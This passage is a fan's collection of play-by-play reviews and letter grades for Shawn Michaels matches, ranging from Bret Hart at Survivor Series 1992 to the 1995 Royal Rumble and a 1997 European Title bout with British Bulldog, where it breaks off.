Rating: A. Yeah it’s great. You knew this was going to be rated very highly coming in. Everyone loves this match and it’s not hard to see why. Both guys are masters at this and they beat each other up very well in the process. As with most great ladder matches, the matches where it’s about the guys and there happen to be ladders involved are much better than the other way around. Great match and a great ending. This would have been a lot better live I think.

Let’s look at another Bret match because you can’t have enough of those. From Survivor Series 1992 and make sure to take note of the ending.

WWF World Title: Bret Hart vs. Shawn Michaels

Sherri still sings Shawn’s theme music and this is champion vs. champion, but only one title is on the line. Feeling out process to start and they hit the mat with Shawn getting in way over his head. Shawn works on the arm and pulls Bret to the mat but Bret nips up. So that’s where Shawn got it from. Bret cranks on the arm and Shawn cranks on the hair. Things speed up and Shawn trips Bret up but it’s right back to the arm. This technical stuff isn’t working for Shawn so far.

Michaels gets to the arm but Bret easily sends him to the floor to escape. Hart takes over on the arm again and Shawn can’t get anything going in the first five minutes or so. A cross body gets two for Bret as does a sunset flip. It’s back to the arm and Shawn is getting frustrated. They hit the ropes and Shawn catches Bret in a hot shot to finally get in some offense. A thumb to the eye puts Bret back in trouble and he charges into the post to make it even worse.

Shawn DDTs the arm as the roles have completely reversed now, although it’s due to evil ways now instead of technical and good ones. See how good psychology can be when it’s done right? Bret’s chest to the buckle spot gets two for Shawn and it’s chinlock time. They fight over a top wristlock but Shawn uses the hair again to pull Bret back to the mat. Bret fights out of the chinlock but gets dropkicked right back down for two. Shawn is one step ahead of him in everything Bret does right now.

A backbreaker gets another two for Shawn and let’s hit that chinlock again. Shawn ducks his head and a swinging neckbreaker puts Shawn down, but cheating by means of a shot to the throat stops Bret again. A front facelock goes on and Bret rams Shawn into the corner with some shoulders to counter. Shawn charges into a boot and a bulldog puts him down. Bret misses a middle rope elbow and both guys are down again.

Michaels hits a jumping back elbow to the face for two and it’s back to the front facelock. After two arm drops for Bret, he pulls off the fastest small package you’ll see in a long time for two. A suplex by Hart puts both guys down but things start speeding up anyway. Shawn gets sling shotted into the corner and hits the post as is his custom. Bret launches him into the corner and kicks Shawn so hard that Shawn gets crotched on the top rope.

A BIG baaaaaaaaaaaaack body drop gets two on Shawn and Bret is surprised. Russian legsweep gets two for the world champ and a backbreaker sets up the middle rope elbow for the same. Bret superplexes Shawn down but he can’t cover immediately so it only gets two. There’s a sleeper from Hart and the referee gets bumped. That goes absolutely nowhere and he’s up a few seconds later. Ok then.

Bret tries another sleeper but Shawn sends him to the floor in the exact same way that Bret sent Shawn to the floor earlier. NICE! Bret gets posted and we head back inside for a whip to the corner for two. The problem here for Shawn is that he doesn’t have a big time finisher as his only big move was a stupid suplex move. Just as I type that, Shawn superkicks Bret down. It’s not a finisher yet though so he doesn’t even cover.

Bret blocks the tear drop (finisher) suplex but the second attempt connects for two. Bret uppercuts Shawn into the ropes but Hart misses a charge and crotches himself on the top. Shawn goes up to the middle rope but he jumps right into the Sharpshooter (in the EXACT same sequence that ended regulation of the Iron Man Match) for the submission to keep the title on Bret.

Rating: A. It’s Bret vs. Shawn with almost 27 minutes. Were you expecting anything but a scientific war? If you give Shawn the superkick here to use as a finisher, there’s no way this isn’t even better. Great match here with both guys trading great psychology the whole way through. Really good main event and a great way to show that Hulk isn’t needed to fire up a crowd as they were all kinds of into this match.

Here’s a classic Raw from April 23, 2008.

Shawn Michaels vs. John Cena

There’s almost an hour to go in the show so you know this is going to be something good. Shawn works on the shoulder to start but Cena counters with a headscissors into a stalemate. They do the exact same sequence and then try it again, but Cena goes for a drop toehold which Shawn escapes. Another STFU attempt sends Shawn running to the ropes. Cena is very pleased that he got that close.

Cena tries to grab the leg this time but Shawn makes the rope. They get in each others’ faces and it’s a slugout. Back from a break and the fans are getting way into this. Cena takes him down with a headlock instead which lasts for a good while. A big clothesline takes Shawn down and it’s chinlock time. Shawn pops back up and is immediately clotheslined back down.

Sweet Chin Music is avoided and the FU is countered by Shawn heading to the floor. We take another break and come back to Shawn getting in a shot in the corner. He’s mostly the heel in this but it’s not full fledged. They speed things up and Cena hits a World’s Strongest Slam for two. Release fisherman’s suplex gets two. Throwback gets two. They slug it out and Shawn counters a suplex into a neckbreaker for two.

Another slugout results in the flying forearm by Shawn. He nips up and hammers Cena down and goes to the corner for the elbow. It hits but instead of covering Shawn stomps the mat for the Chin Music. Cena ducks and Shawn grabs a quick backslide for two. The shoulder block misses and Cena may have hurt his shoulder on the crash to the floor. Shawn dives over the floor but Cena catches him in mid-air and slams him into the steps.

Back from break #3 and they’re both in the ring again. It should be noted that we’re probably half an hour into this and Cena looks FINE. He doesn’t look tired, he doesn’t look winded, he doesn’t even look sweaty. That’s almost scary. Cena charges into the post and Shawn has a target. He hooks a combination hammerlock/abdominal stretch on the mat before driving in some knees on the arm.

Cena shrugs off most of it and starts his finishing sequence, taking Shawn’s head off with a clothesline. The Shuffle hits but the FU is countered into Chin Music attempt into the FU for a VERY close two. We take another break and come back with Cena throwing Shawn to the floor. Cena rams his back into the post and we head back inside. Delayed vertical suplex gets two.

Bearhug time which is proof we’re in a big match as you almost never see a face use one of those. Shawn fights out of it but gets thrown over the corner and out to the floor. Back in Cena hits the top rope Fameasser which seems to be a new move for him. They go to the corner for a superplex but Cena instead tries an FU off the top, which Shawn counters into a powerbomb off the top to put both guys down.

Out to the apron and Shawn knocks him face first into the announce table. The look on his face says THAT REALLY HURT! Out to the floor and Shawn loads up a piledriver on the steps but Cena backdrops him onto the floor as we take I think break number five. Back with them on the announce table and Cena is all fired up. Back inside Cena hooks the STFU but it’s not cranked on perfectly.

Shawn makes the rope and we cut to some cheering girl in the crowd. Shawn looks a bit dead but Cena is waiting for the FU. Shawn pops up with the Chin Music but Cena tries the FU again. That gets reversed and Chin Music hits for a very delayed two. They slowly get up and Cena tries the FU again but Shawn slips down the back and hits the second Sweet Chin Music for the pin at 55:49. Unless there’s some house show match that I don’t know of, that’s the longest regular one on one match in the WWE/F since 1981.

Rating: A-. It’s certainly not a masterpiece or even anything close to one, but considering they just went an hour, you have to give them bonus points. Cena looked fresh as a daisy 40 minutes into this which is more proof that he isn’t human. This is also a loss that doesn’t hurt Cena because it wasn’t like he got beat but rather that he got caught. Very good match and the time aspect of it is remarkable. This match is on the Heartbreak and Triumph DVD.

Here’s one from the other end of the spectrum, from Wrestlemania XXVI.

Undertaker vs. Shawn Michaels

You can only win by pin or submission. They stare each other down and Shawn does the throat slit. Taker charges into some chops in the corner but Shawn is thrown into a Flair Flip in the corner, followed by snake eyes and the big boot. Old School is broken up a few times but the third try hits perfectly. The chokeslam is countered and Shawn goes after the leg. A quick Tombstone attempt is blocked and Shawn tries for the Crossface, only to be grabbed by the throat.

Taker grabs the arm as well but has to back away from Sweet Chin Music. Now Shawn is going after the knee and Taker is in trouble. Michaels goes for some stomps in the corner but the big man gets in an uppercut to send Shawn to the floor. Taker loads up the Dive but Shawn slides back in for a chop block. They head to the floor for Undertaker to take over with the apron legdrop. It hurts his leg again though and the big man can’t follow up.

Back in and Shawn takes out the leg again and there’s a Figure Four. Taker sits up and has them there crazy eyes…but can’t break up the hold. Scratch that as he can with pure power and Shawn lets it go. They slug it out on their feet again with Taker taking over with the strikes. Shawn comes back with the forearm and there’s the nipup. Unfortunately he walks into the chokeslam for a close two. Shawn busts out an ankle lock of all things and the grapevine is added as well.

Undertaker gets on his back and punches his way out of it but Shawn sends him to the floor. There’s a springboard cross body but Taker counters into a Tombstone on the floor. Shawn flailing to escape and then stopping cold was perfect. Back in and that somehow only gets two so Taker tries the Last Ride. The leg gives out again and Shawn counters into a kind of X-Factor for two. The big elbow hits knees, but that hurt Taker just as much as it hurt Shawn.

Michaels gets caught in Hell’s Gate but he flips forward into a rollup for two, making Undertaker break the hold. Back up again and there’s the superkick out of nowhere for two. Now Shawn tunes up the band but Taker catches it coming in and hits a full on Last Ride for two. Undertaker throws him to the floor and loads up the announce table. The Last Ride through the table is escaped and there’s a superkick to put Taker on the table. Shawn busts out a moonsault but mainly hits Taker’s legs. It would have looked great from a distance though.

Back in again and the superkick hits perfect but somehow only gets two. The fans are calling this awesome and I can’t say I’m arguing at all. Another superkick misses and there’s a big chokeslam. Taker can’t follow up though….until he plants Shawn with a Tombstone. THAT gets two and Taker is shocked. The Dead Man pulls the straps down but stops himself before doing the throat slit. Shawn pulls himself up on Taker’s body and does the throat slit himself, admitting that he can’t do it. Taker stares at him so Shawn slaps Taker in the face. That does it and it’s a jumping Tombstone to end Shawn’s career.

Rating: A+. That throat slit is as close to Shakespeare as WWE is ever going to get. Shawn going out in a masterpiece like this was as good as it was going to get and Undertaker gets to have another great match on his resume. Shawn has actually stayed retired which is the right move, because he’s not going to top this with one more match. It’s excellent even though it’s somehow a step below last year’s match.

Undertaker isn’t sure what to do now as the lights go out and 18-0 flashes on screen. Shawn still hasn’t moved. Taker helps Shawn up and they shake hands to a big ovation. Undertaker lets Shawn stand in the ring alone and soak up one last round of applause. Shawn slowly walks up the aisle and slaps hands. Shawn: “I’m going to drive my kids crazy in three weeks.” He walks to the back to end the show.

Back to the old days with the 1993 Royal Rumble.

Intercontinental Title: Marty Jannetty vs. Shawn Michaels

Sherri is at ringside with the question being who would she side with? Why would she side with Marty anyway? I never got that. Apparently it’s because Shawn never called her while she was in the hospital….which she was in because of Marty. So why would she ever go with Jannetty? Apparently Jannetty was drunk during this match. That might make things a bit funnier if nothing else.

Jannetty controls to start, sending Shawn to the floor twice with a knee lift and a clothesline. Marty punches Shawn down on the floor and poses in the ring. He tries a punch off the top but gets caught in the ribs on the way down. Shawn loads Marty up on his shoulder and in one of the only times I can ever remember it working, rams Marty shoulder first into the post.

The champ rams the other shoulder into the post because he hit the right one the first time, and you just don’t do that. Back in and Shawn hits a shoulderbreaker before sending Marty to the floor again. Back in and the shoulder goes into the buckle, followed by a double ax right down onto it as well. We hit the armbar but Marty fights out quickly. He tries a comeback but walks into a DDT on the arm for two.

Quick sidebar: why is that move called a single arm DDT? It’s a hold used on the arm, but the double arm DDT is used to hurt the head. Also a regular DDT uses just one arm, so why is this called a single arm DDT instead of the regular one? These are the kinds of things I think about when I’m bored by a match.

Anyway, Shawn does the always stupid looking jump into the boot spot. I mean he jumped RIGHT AT Marty’s feet. What could he possibly have been trying there? Marty avoids a charge in the corner, sending Shawn’s shoulder into the post instead. Marty speeds things up and pounds away, only to have Shawn slingshot him out to the floor. Shawn goes to pick him up but Marty suplexes him out to the floor.

Sherri finally does something by slapping Shawn, who gets belly to back suplexed into the ring. Shawn gets launched to the floor again as the pace picks up a bit. A powerslam puts the champ down but Shawn avoids the top rope punch. Marty stops himself before crashing and gets two off a DDT. Shawn misses a superkick and gets caught by one of his own for two. The crowd is getting into this.

Marty slingshots Shawn so he gets to do his big bump onto the post. There goes the referee via an elbow to the face and Sherri comes in. She swings her shoe but hits Marty by mistake of course. Shawn yells at her a lot and then superkicks Marty in the chest for the pin to retain.

Rating: C+. This started slow, picked up a good bit during Marty’s comeback, and then had a horribly uninteresting ending. Seriously, that’s it? These two would have a rematch soon after on Raw which won Match of the Year in a contest for least bad match of the year for all intents and purposes.

We’ll jump forward to a great match at In Your House X.

WWF World Title: Shawn Michaels vs. Mankind

Druids wheel out a casket during the challenger’s entrance and of course Mankind is inside. A quick elbow to the jaw puts Shawn down and there’s a shot to the throat for good measure. Mankind’s signature clothesline (Cactus Clothesline) puts both guys out onto the floor where Mankind peels back the floor mats. Shawn dropkicks them into Mankind’s face and jumps up and down on Mankind before hitting a cross body off the top and out to the floor.

A flying shove sends the back of Mankind’s head into the concrete again but he doesn’t seem all that bothered. Back in and a top rope ax handle drops the challenger again and Shawn peppers him with left hands. Michaels drops the top rope elbow for no cover before tuning up the band, only to have Mankind bail to the floor where he holds the urn and rocks back and forth. Back in and Shawn slugs away even more so Mankind slaps him in the face, sending it down to the mat in a brawl.

Mankind trips Shawn down in a nice amateur style move where he tries the Mandible Claw but Shawn blocks the hand. He elbows Mankind in the jaw to escape and pounds away as they’re in what would be called full mount/guard positions respectively in MMA terms. Mankind throws him out to the floor and sets up the announce table next to the ring, only to have Shawn dive over to pummel Mankind even more. A suplex slams Mankind’s legs into the steps and the challenger is in big trouble.

Back in and Shawn stomps at the leg but stops to yell at the referee. Mankind gets in a few kicks with the good leg but Michaels catches him in a dragon screw leg whip. There’s a figure four but Mankind gets in a shot to the face to break it up. Michaels goes right back to the knee with a dropkick and an old Mr. Perfect (on commentary) move called the Robinsdale Crunch. Off to a half crab but Mankind is quickly in the ropes for the break.

They get back up and Shawn tries a running hurricanrana, only to have Mankind catch him in the air and fall back to drop Shawn throat first across the top rope. Mankind grabs a pen to stab into his own leg to wake it up a bit in a bizarre yet smart move. Shawn gets rammed face first into the casket and a running knee to the face keeps him in trouble. Mankind’s knee going into Shawn’s head slows the challenger down a bit so he rams Shawn face first into the mat to get a breather.

Michaels comes back with a quick belly to back suplex but can’t get any momentum going with Mankind right back on him. It turns back into a slugfest until Mankind whips him into the corner and gets Shawn tied up in the Tree of Woe. An ax handle to the face knocks Michaels free and a boot to the face puts him out onto the floor. Mankind follows him out but gets whipped knees first into the steps, followed by a drop toehold into the steps for good measure.

They fight for a suplex on the apron but Shawn winds up landing on the apron where he kicks Mankind’s leg out again to take over. Back inside and Shawn gets two off a powerslam before whipping Mankind in the ropes where he flips over, getting his neck tied up in the ropes. Shawn goes over but gets caught in a quick Mandible Claw to stop Shawn cold. The Claw goes on again on the floor but Shawn launches him face first into the barricade for the break.

Back up again and Shawn grabs a chair to block a right hand, hurting the Mandible Claw hand in a brilliant move. More chair shots to the hand have the challenger in trouble so Shawn bites away at the fingers. Back inside and Michaels stomps at the hand before going to the other hand to make sure it doesn’t feel unloved. Mankind manages to backdrop Shawn back to the floor and drops an elbow off the apron in another signature move. A swinging neckbreaker puts Shawn down on the floor as these guys are getting tired.

Back in again and Mankind gets two each off a double arm DDT and a piledriver. The fans sound ready to explode on Shawn’s comeback. Mankind is so frustrated that he pulls his own hair out. We get a couple of chairs thrown in but instead of using them, Mankind opens up the casket.

Shawn fights his way out of it and hits the forearm into the nipup that he’s famous for. Michaels stomps away in the corner and gets two off a high cross body. Mankind crotches Shawn on the top to slow down the comeback before loading up a belly to back suplex to the floor. Since that would kill Shawn though, he counters in midair into a cross body to drive Mankind through the table, sending both guys down in a heap.

Mankind sets up a chair in the ring and brings in a second one, only to have Shawn use the chair as a springboard to superkick the second chair into Mankind’s face in a cool looking move. That would look to be the finish but Shawn has to pull off and go after the interfering Vader, drawing the DQ in the only bad part of the match.

Rating: A+. This isn’t just the match of the night or the match of the year or the match of In Your House so far. This match is in the running for the greatest match of all time. It tells an amazing story with Shawn having to completely change his style and get crazy to hang with Mankind. On top of that you have the brutal physical aspect with both guys just beating the tar out of each other for nearly twenty seven minutes. Absolutely amazing stuff and well worth seeing if you never have before or if you haven’t seen it in awhile.

Post match Shawn knocks Vader to the floor but gets blasted in the back of the head by the urn. Sid shows up to fight Vader to the back but it’s Mankind up first. He puts the Mandible Claw on Shawn and goes to put him in the casket, but somehow the Undertaker is inside. Paul Bearer freaks out and the crowd comes unglued as Undertaker shoves Mankind to the floor and stalks the villains up the aisle.

After fighting a former partner and a maniac, here’s Shawn against God.

Shawn Michaels/God vs. Vince McMahon/Shane McMahon

Vince introduces God and we get a spotlight. His tron video is clouds and he comes out to harp and piano music. Vince stops and criticizes God before challenging him to a dance contest. I kid you not, this is really happening. The spotlights gets in the ring and Vince tells the referee to check him out. Vince makes the match no holds barred because the idea of Vince wrestling an actual match isn’t pleasing. Sexy Boy finally hits to end this stupidity.

Vince starts to run his mouth some more and Shawn finally drills him to get going. The daddy goes to the floor while Shawn beats up Shane. Shawn dives on Vince before clotheslining Shane to the floor and hitting a flip dive to take him out. Michaels chops Shane up the ramp but Shane comes back with knees to the stomach. Shane tries to piledrive Shawn off the stage but gets backdropped instead.

Shawn comes back but here’s Vince with a chair as they’re all on the stage now. Shawn blocks the shot and takes Shane down again before hitting a cross body on Vince off the stage. This looked like nothing live but it looked good on camera. Shawn climbs back up to the stage but gets hit in the face with the chair by Shane. Michaels is busted which I never noticed in the arena.

Shane and Shawn head back to the ring and Shawn goes into the post. Shawn gets sent into the barricade and then back into the ring as Shane is in complete control. The top rope elbow misses and both guys are down. Vince is on the apron now and apparently they have to tag. Shane DDTs Shawn down and it’s off to Vince. Vince takes his belt off and whips Shawn’s back because he’s that evil. Shane throws in a garbage can and Shawn gets his head caved in.

Vince wants a mic and taunts God a bit. God walks out and Vince says come back. Vince declares that God has left the building, but Shawn hasn’t. He stands Shawn up and tries a superkick but the kick gets caught. Shawn makes his comeback and hits the forearm and nip-up. Shane misses a chair shot and caves in Vince’s head by mistake. It’s a forearm for Shane followed by an atomic drop and some clotheslines. Shawn’s top rope elbow hits and both McMahons taste superkicks.

Shawn, ever the genius, doesn’t go for a cover but rather goes to the floor for a table. Make that two tables. My fellow Lexingtonians (yes that’s what they’re called) want ladders because much like other wrestling fans, they’re greedy people. Both McMahons are put on tables and here comes the ladder. It’s the jumbo sized ladder too. Shawn climbs up but has to dive on the invading Spirit Squad. That was incredible live but the camera didn’t get a great shot of it. The main problem was you didn’t see them until the dive so Shawn looked crazy.

The numbers catch up with Shawn and he gets beaten down by the five male cheerleaders who are currently tag team champions at this point. They throw Shawn back in and get the McMahons off the tables. The Squad takes Shawn into the ring and hit their finisher on him, which is them all picking him up at once and dropping him through a table. Vince gets the pin. JR calls this BS but the uncensored version.

Rating: D. The match was boring, but JR put it best during the match: this was uncomfortable. On top of that, the whole thing was stupid. This would set up a feud that ran for the whole year which didn’t work all that well either. It did lead to the reformation of DX which was pretty interesting, but dang this first part was torture to sit through. Not a horrible match but dang this was a chore to sit through.

Time for another first, this time at Survivor Series 2002.

Raw World Title: Kane vs. Chris Jericho vs. HHH vs. Shawn Michaels vs. Booker T vs. Rob Van Dam

Jericho is a tag champion, but the cool part here is that as he comes out, Saliva does his theme song live at WWF New York. HHH is defending of course. Shawn’s tights are….brown. This is one of those decisions that no one ever quite got and he was made fun of extensively for them apparently. I mean…..BROWN? Mankind wore brown for crying out loud. The wide show of the Chamber really does look cool. Anyway the entrances take a long time and RVD vs. HHH gets us going.

Van Dam hits a spinwheel kick to take HHH down but walks into a facebuster. The Pedigree is countered into a backdrop over the top to hit the cage outside the ring. JR’s statements about the Chamber are already nuts as he says it has no soul or conscience. IT’S A FREAKING CAGE! Anyway, HHH is rammed into the cage over and over to bust him open and Van Dam hits Rolling Thunder over the top rope to land on HHH on the cage. Yeah there’s a floor made of cage surrounding the ring that is level with the mat if you’ve somehow never seen one of these.

Van Dam goes up on one of the pods but his flip dive mostly hits the floor instead of HHH. Back in the ring and HHH gets stomped down in the corner as Jericho is added in as the third man. Van Dam immediately kicks him down and it’s five minutes until the next entrant. A cartwheel into a moonsault gets two on Jericho and they head outside the ring as well. In the first famous spot in the Chamber’s history, Van Dam jumps off the top rope, misses Jericho, and grabs onto the cage like Spider-Man before spinning back around to cross body Jericho. That’s still awesome.

HHH gets back up and hits the knee to the face of Van Dam which gives Jericho a two count. HHH and Jericho double team RVD before Chris tells Shawn to suck it. Van Dam’s back gets rammed into the cage wall some more and Jericho talks a lot of trash. Rob’s back goes into the cage over and over and we head back in to the ring. There’s a spin kick to put Jericho down as Booker T is in fourth.

Booker quickly clears the ring and we get a Spinarooni before Van Dam fights Booker one on one. Booker gets in some shots to Rob but walks into the stepover kick to give Van Dam control again. HHH gets back up and takes Van Dam down, only to get caught by the scissors kick from Booker. The next big spot of the match is Van Dam going up to the top of the pod and hitting the Five Star on HHH, with Van Dam’s knee hitting HHH’s throat, severely (and legitimately) injuring HHH’s windpipe. Since HHH can’t get up right now to eliminate Van Dam, Booker hits a missile dropkick to take Van Dam out.

Booker grabs a quick cover on HHH but only gets two. Jericho goes after Booker but gets caught in an Alabama Slam for his efforts. Kane comes in fifth because we don’t quite know if Shawn’s back can handle a full match yet. Kane goes off on Booker and Jericho as HHH lays on the outside. Jericho gets launched face first into the cage wall and is then thrown through the BULLETPROOF, yes BULLETPROOF I SAY glass. This would become a running joke in the Chamber.

JR says the Chamber has no soul or conscience again just to hammer home the point. Kane chokeslams Booker and Jericho adds the Lionsault to take Booker out and get us down to four guys. A Kane suplex gets two on Jericho as we’re waiting on Shawn to come in. HHH goes up top for no apparent reason and gets slammed down ala Flair. Jericho missile dropkicks Kane down and here’s HBK.

HHH is down in the corner of course so Shawn can only beat on Kane and Jericho. There’s the forearm to Kane but no nipup, leaving everyone down at the moment. Kane whips Shawn HARD into the corner where Shawn flips upside down. There’s a chokeslam for all three remaining guys not named Kane but instead of covering, Kane loads up a Tombstone on HHH. Shawn superkicks Kane down but he sits up. The Pedigree and Lionsault finally put Kane out and we’re down to three.

Shawn gets double teamed by HHH and Jericho and it’s time for Chris to dance. After being rammed into the cage a few times, Michaels is busted open. Jericho talks more trash and HHH walks around a lot. Shawn tries to fight back but his piledriver on the cage is countered to backdrop his bad back onto the cage again. There’s the Lionsault….for two. You know, the move that put out Booker and Kane earlier? It’s now not enough to put down Shawn when he’s been beaten down and injured on top of having one match in four and a half years.

Shawn comes back with a moonsault press to Jericho for two before putting Jericho in the Walls. HHH finally comes back from getting popcorn or something with a DDT to Shawn. Jericho and HHH finally get in the argument you were expecting and the fight is on. Jericho jumps out of the corner and lands in the Pedigree, but Jericho counters into the Walls. While holding HHH, Shawn kicks Jericho’s head off and it’s down to one on one. If this surprises you, you’re an imbecile.

So it’s Shawn, bloodied and injured and in his second match in four years, against an also injured HHH in the main event at Madison Square Garden. Gosh I’m so glad these two are so selfless. The spinebuster puts Shawn down and HHH backdrops him over the top. Shawn sends HHH into the cage but when Shawn tries to Pedigree HHH on the steel, HHH counters into a slingshot through the cage again. You know, because Shawn would still be alive at this point.

Back in the ring all that gets two and it’s time for the slugout. Seriously, those brown tights are so stupid looking. A facebuster puts Shawn down and it’s another clothesline to put him onto the outside. The Pedigree on the steel is countered into another slingshot into the Chamber wall. Back into the ring and Shawn drops the elbow off the top of the pod. The Superkick is countered into the Pedigree and, say it with me, Shawn kicks out at two. Another Pedigree is countered into a backdrop, followed by the Sweet Chin Music to give Shawn the title.

Rating: D+. I’ve mellowed on this match in the last few years to the point where I’m not mad about it anymore. However, it’s still one of those matches where you look at it and say really. As in REALLY? We’re supposed to buy that Shawn can survive ALL of that and still win the freaking title? You have to keep in mind this isn’t the Shawn who was having the match of the year for like five years running. No one expected him to go on as long as he did. At this point, making it to Wrestlemania would have been impressive.

That’s where this match loses it for me: we’re supposed to buy that Shawn is so great, so amazing, and so tough that he can basically walk off the street and be better than four of the top guys in the business? There comes a point where my suspension of disbelief is cut off and I can’t buy this anymore. We passed that at Summerslam, making this even more ridiculous. This match is also the reason we had to sit through the AWFUL match at Armageddon, where HHH and Shawn got to waste 40 minutes of our time by barely being able to move.

In short, this is way more than I can accept as far as the match being realistic. In wrestling, you have to accept that some stuff is ridiculous. That’s called suspending disbelief. However, there comes a point where that’s not the case any longer. It’s unrealistic in wrestling terms to accept that Shawn can survive all this and win the title. This was pure selfishness from Shawn and HHH, which would get WAY worse in the future. HHH wouldn’t make a new star for over a YEAR when he put Benoit over at Wrestlemania in the same arena.

As for the rest of the match, it’s acceptable, but WAY too long. The Chamber matches need to go about thirty minutes instead of the forty this one went. The last seventeen minutes here, as in the amount of time after Kane is eliminated, are REALLY repetitive and while they had good drama, they needed to be cut. Booker, RVD, Jericho and Kane were all there to fill in spaces and be there for Shawn and HHH to bounce off of. I don’t hate the match, but it really doesn’t work all that well.

Shawn would enter the 1995 Royal Rumble first and do something special, albeit in a bad match.

Royal Rumble

Shawn is #1 and Bulldog is #2. Shawn immediately jumps Bulldog but this isn’t going to last long. Remember there are one minute intervals, which was just a bad idea in general. Smith gets a quick gorilla press, but why throw Shawn OUT when you can just slam him? That clearly won’t come back to haunt him later or anything of course. Smith charges into a boot and here’s Eli Blu (one of the Harris Brothers, who were the big bald bikers who were around for WAY too long) at #3.

Nothing happens so here’s Duke Droese (a wrestling garbageman) at #4. Eli fights Smith and Droese squeezes Shawn until Jimmy Del Ray of the Heavenly Bodies is #5. Nothing continues to happen because there isn’t enough time between entries. Sione (Barbarian) of the Headshrinkers is #6 as Del Ray is tossed out. Tom Prichard of the Heavyenly Bodies is #7 and STILL nothing is happening.

Doink is #8 as the Rumble is going way too fast. It’s like the original Rumble: not enough names to care about and nothing going on at the same time. Kwang is #9 and Rick Martel is #10, I believe in his last WWF match. There are nine people in the ring right now. Shawn is almost out but fights off Kwang to survive. Owen Hart is in at #11 and here’s Bret to jump him in the aisle. Owen survives and climbs in, only to be eliminated in three seconds.

Shawn puts out Droese and Timothy Well (partners with Steven Dunn in the tag team of Well Dunn) is #12 and is out almost immediately. Martel and Prichard go out faster than I can see them and Kwang superkicks Doink out. Luke of the Bushwhackers is #13 and during his entrance, everyone but Bulldog and Shawn are gone. Literally, four people were put out inside of six seconds. Luke is out almost immediately and it’s Shawn vs. Bulldog again.

Here’s Jacob Blu at #14 and HE TOO is gone in like fifteen seconds. This is so stupid. King Kong Bundy is #15 and he beats on both guys for about twenty seconds before it’s Mo at #16. Mo is like the fifth guy to last less than thirty seconds. If your roster is this weak, CUT THE FREAKING MATCH DOWN. Nothing else happens until Mable is #17 for the showdown with Bundy. Mabel dumps him out as Butch is #18 and is gone in less than 20 seconds as well. More on this later.

Lex Luger is #19 and he goes right for Mabel for no apparent reason. He eliminates the fat purple and gold dude before gorilla pressing Michaels down like an idiot. Mantaur, a stupid monster character, is #20. He beats on Luger and Bulldog until Aldo Montoya (Justin Credible with a jockstrap on his face) is #21. Henry Godwinn is #22 as we’re waiting on a bunch of people to get thrown out so everyone can go home. I think this is one of Henry’s first matches.

Billy Gunn is #23 so naturally Bart Gunn is #24. Bob Backlund is #25 and also lasts about fifteen seconds due to a Bret Hart attack. Steven Dunn is #26 as there are like ten people in there. Bret and Backlund fight in the aisle again and old man Dick Murdoch is #27. Mantaur misses a charge at Bart and Adam Bomb is #28. For the second year in a row, Vince decides Adam Bomb is going to win the Rumble. Seriously.

Fatu is #29 and Luger eliminates Mantaur. Crush is #30, giving us a final group of Shawn, Bulldog, Luger, Montoya, Godwinn, Bart, Billy, Dunn, Murdoch, Bomb, Fatu and Crush, or WAY TOO MANY PEOPLE. Thankfully Crush immediately eliminates the Gunns to clear the ring out a bit. We cut to Anderson who gives a very uninterested wave and points to the ring. You know, because this is SO beneath her. Well, not beneath her enough to give the check back or anything but you get the idea.

Dunn is put out off camera and Murdoch almost puts Shawn out. Luger makes the save due to a lack of intelligence as Murdoch tries headbutts on Fatu. Naturally it doesn’t work at all because YOU DON’T HEADBUTT A SAMOAN. Bomb is backdropped out and Shawn throwsn Montoya out. Luger saves Shawn AGAIN and Crush eliminates Fatu. There are six guys left: Murdoch (who hits a dropkick and airplane spin on Godwinn), Godwinn, Shawn, Bulldog, Crush and Luger.

Murdoch gets dizzy from the spin and falls out to get us down to five. Lex dumps Godwinn and we’ve got four left. Michaels and Crush double team Luger as Bulldog gets a breather. They dump Lex and we’ve got three guys left. Smith gets double teamed until Shawn turns on Crush and is lifted into the air. Bulldog uses the distraction to eliminate Crush and it’s one on one. Davey destroys Shawn and presses him onto (not over. That would make sense) the top rope. Shawn is knocked over the top, but in the famous finish, he hangs on and ONLY ONE FOOT touches, allowing Shawn to come back in and eliminate Smith to win.

Rating: D. This is a hard one to grade, because the stuff that was decent was in fact decent. The problem is there wasn’t much stuff that falls into that category. First and foremost, SEVEN PEOPLE OUT OF THIRTY did not last thirty seconds. If they’re that meaningless to the match, simply do not put them in the Rumble. It looks stupid and there’s no reason to have them out there.

Second, the time intervals. These were a major issues because there’s no time to get ANYTHING going in the match. When you count ten seconds or so to get into the ring (some people take up to twenty), you’re looking at about 45 seconds of action with the new guy before someone else comes out. That’s just not enough time to get anything going at all.

Third, and this is probably the biggest problem of the match, look at the roster here. At a glance, I see four people with actual chances to win: Crush, Luger (they’re both BIG stretches), Bulldog, and Shawn. After that there’s Owen Hart but he was one of the guys that didn’t make it thirty seconds in the ring.

Then you’re looking at guys like Montoya and Well Dunn and the Bushwhackers (who amazingly still had jobs in 1995) and the Heavenly Bodies (by my count there were five tag teams in here, or one third of the match. WAY too many guys at that level) and Dick freaking Murdoch. This is a match that was BEGGING for a midcard to come in and fill in some spots. Guys like Ramon and Jarrett and Bigelow and Tatanka would have helped this match a ton, but instead we get all these fillers. That’s a big reason why this didn’t work.

We’ll hop the pond for One Night Only in 1997.

European Title: Shawn Michaels vs. British Bulldog

Now if you want to talk about a mixed reaction, Shawn gets a mixed reaction. I mean it’s right down the middle. Davey of course gets the big old hero pop that you knew he would get. While it may seem obvious as to who is going to win here, this wasn’t as in the bag as it appeared to be. Smith losing here would have caused about as big of a riot as Bret losing in Montreal.

Smith is about as over here as Vince would be in a “Who’s got the biggest ego contest”. Shawn walks up the ramp for no apparent reason before coming back to the ring. Smith starts off by completely overpowering Shawn who again walks up the ramp. In a cool looking spot, with Shawn on the apron and looking away from the ring, Smith hooks him for a reverse suplex and just drops him back into the ring. It looks a lot better than it sounds.

Vince says he’s surprised Shawn didn’t break in half. Say that again in about four months Vinny. How many freaking big time matches have these guys had? They have the final SNME match, they have KOTR 97 and now this. That’s a lot for a series of big matches when you think about it, especially over that long of a stretch of time. Bulldog is ridiculously popular and is dominating.

Apparently he’s dropped about 20 pounds or so, which is about 2 stones. Vince says Shawn is in his prime. I don’t know about that, but it’s close enough. As Bulldog beats on him for a good while, here’s Rick Rude, who was the insurance policy for Shawn in what would form into DX. They had been hanging out lately but nothing concrete had happened yet.

We hit the sleeper now to kill off a bit of time which is fine by me. Lawler says not to adjust the TV. Who does that? I mean really, have you ever adjusted your TV? I certainly haven’t. The pace slows a lot with Shawn working on the arm, which means you know what’s coming. Yep, there it is, as Smith shows incredible power and picks up Shawn while he’s in an arm lock.

